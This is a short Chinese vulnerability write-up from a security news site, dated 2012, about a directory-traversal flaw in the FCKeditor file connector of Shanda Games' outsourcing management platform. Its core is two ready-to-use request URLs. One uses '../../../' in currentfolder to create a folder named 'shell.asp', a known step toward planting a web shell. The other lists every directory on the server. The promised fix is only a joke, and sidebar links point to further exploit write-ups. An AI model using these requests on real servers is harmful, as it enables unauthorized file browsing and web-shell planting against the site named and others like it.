当前位置：代码网 > 服务器>网络安全>漏洞分析 > 盛大游戏外包管理平台FCK列全盘目路分析与解决方案

盛大游戏外包管理平台FCK列全盘目路分析与解决方案

2012年06月27日 • 漏洞分析 •我要评论

盛大游戏外包管理平台FCK列全盘目路分析与解决方案本文主要讲了盛大游戏外包管理平台FCK列全盘目路分析与解决方案... 12-06-27

修改currentfolder 参数使用../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?command=createfolder&type=image&currentfolder=../../../&newfoldername=shell.asp
根据返回的xml 信息可以查看网站所有的目录。
fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?command=getfoldersandfiles&type=image&currentfolder=/
也可以直接浏览盘符：

修复方案：
你懂的！

傲游浏览器官网存在SQL注射漏洞分析

傲游浏览器官网存在SQL注射漏洞分析傲游浏览器的插件中心存在POST SQL注射漏洞... 12-06-29 [阅读全文]
多多淘宝客V7.4绕过防注入及一个注入漏洞的分析

多多淘宝客V7.4绕过防注入及一个注入漏洞的分析本文详解了多多淘宝客V7.4绕过防注入及一个注入漏洞的分析... 12-06-07 [阅读全文]
管家婆软件官方网存在SQL注射及弱口令的漏洞分析

管家婆软件官方网存在SQL注射及弱口令的漏洞分析管家婆搞活动的页面，选漂亮的财务MM和帅蝈蝈，获奖的出国旅游呀！！！... 12-07-03 [阅读全文]
WordPress 3.3.2鸡肋存储型跨站漏洞的分析

WordPress 3.3.2鸡肋存储型跨站漏洞的分析WordPress最新版本3.3.2存在一个双字节编码的存储型跨站漏洞，可以bypass内置的filte... [阅读全文]
Uread阅读器拒绝服务漏洞的分析与解决

Uread阅读器拒绝服务漏洞的分析与解决Uread阅读器在远程或本地打开文件名过长（大于或等于129个字符）的upub等文件时将引起uread.exe程序无法... [阅读全文]
通过Zend目录提权的方法详解

通过Zend目录提权的方法详解本文介绍了通过Zend目录提权的详细方法... 12-06-07 [阅读全文]

发表评论


验证码：

盛大游戏外包管理平台FCK列全盘目路分析与解决方案

2012年06月27日 • 漏洞分析 •我要评论

相关文章:

发表评论